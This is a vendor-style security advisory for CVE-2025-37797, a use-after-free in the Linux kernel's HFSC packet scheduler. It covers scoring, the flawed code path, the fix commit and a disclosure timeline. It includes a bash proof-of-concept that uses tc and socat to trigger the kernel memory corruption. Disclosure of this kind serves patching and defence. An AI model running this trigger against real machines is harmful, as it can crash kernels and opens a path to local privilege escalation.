(CVE-2025-37797) Linux Kernel hfsc_change_class TOCTOU Leading to Use-After-Free and Local Privilege Escalation

CVE: CVE-2025-37797

Affected Versions: Linux kernel (multiple stable branches through 6.15-rc)

CVSS3.1: 7.8 (High) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Product Linux Kernel (net_sched)
Vendor Linux Kernel
Severity High — a local unprivileged attacker may exploit this to achieve local privilege escalation
Affected Versions Linux kernel (multiple stable branches through 6.15-rc)
CVE Identifier CVE-2025-37797
CVE Description A TOCTOU flaw in the Linux kernel HFSC qdisc’s hfsc_change_class allows an empty class to be inserted into the vttree, leading to a use-after-free and local privilege escalation
CWE Classification(s) CWE-416: Use After Free

CVSS4.0 Scoring System

Base Score: 8.5 Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Attack Requirements (AT) None
Privileges Required (PR) Low
User Interaction (UI) None
Vulnerable System Confidentiality (VC) High
Vulnerable System Integrity (VI) High
Vulnerable System Availability (VA) High
Subsequent System Confidentiality (SC) None
Subsequent System Integrity (SI) None
Subsequent System Availability (SA) None

Technical Details

A use-after-free vulnerability in the Linux Kernel net scheduler subsystem can be exploited to achieve local privilege escalation. In the hfsc_change_class routine, it is possible to peek and empty a child qdisc. Subsequently, there is no check that the child qdisc is empty before adding the class to the hfsc qdisc’s internal trees. This causes a use-after-free vulnerability. We recommend upgrading past commit 3df275ef0a6ae181e8428a6589ef5d5231e58b5c

The vulnerability lies in the hfsc_change_class() function.

	if (cl->qdisc->q.qlen != 0) {                      // [1]
		int len = qdisc_peek_len(cl->qdisc);           // [2]

		if (cl->cl_flags & HFSC_RSC) {
			if (old_flags & HFSC_RSC)
				update_ed(cl, len);
			else
				init_ed(cl, len);
		}

		if (cl->cl_flags & HFSC_FSC) {
			if (old_flags & HFSC_FSC)
				update_vf(cl, 0, cur_time);
			else
				init_vf(cl, len);                      // [3]
		}
	}

The logic of [1] and [3] is to add non-empty classes to the hfsc’s vttree. However, it is possible for a qdisc to be non-empty at [1], but the call to qdisc_peek_len ([2]) empties it. This is not checked for, leading to the activation of an empty class. This breaks the logic of hfsc, which relies on update_vf() to be called whenever the child qdisc is emptied (e.g. from hfsc_dequeue() or hfsc_qlen_notify()). Since the class is already empty, there will be no subsequent calls to update_vf(), allowing the class to be deleted without first removing it from vttree. This leads to UAF, which can be escalated to LPE as demonstrated in https://github.com/google/security-research/blob/a42a2e8be65216409760099dd464f9e0e70b08e3/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/vulnerability.md

Proof of Concept

#!/bin/bash

IP=/mnt/iproute2-next/ip/ip
TC=/mnt/iproute2-next/tc/tc
SOCAT=socat

$IP link set dev lo up
$TC qdisc add dev lo handle 1:0 root drr
$TC class add dev lo parent 1:0 classid 1:1 drr
$TC class add dev lo parent 1:0 classid 1:2 drr

$TC qdisc add dev lo handle 2:0 parent 1:1 plug limit 1024
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))

$TC qdisc add dev lo parent 1:2 handle 3:0 hfsc default 1
$TC class add dev lo parent 3:0 classid 3:1 hfsc \
    rt m1 5Mbit d 10ms m2 10Mbit
$TC qdisc add dev lo parent 3:1 handle 4:0 netem delay 1ms
$TC qdisc add dev lo parent 4:1 handle 5:0 blackhole
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))

$TC class change dev lo parent 3:0 classid 3:1 hfsc \
sc m1 5Mbit d 10ms m2 10Mbit

$TC class del dev lo parent 3:0 classid 3:1

$TC class add dev lo parent 3:0 classid 3:1 hfsc \
    rt m1 5Mbit d 10ms m2 10Mbit

echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))

Fix

Upgrade past commit 3df275ef.

References

Credit

Gerrard Tai of STAR Labs SG Pte. Ltd.

Timeline

  • 2025-04-10 — Reported to Linux Kernel Security Team
  • 2025-05-02 — CVE-2025-37797 published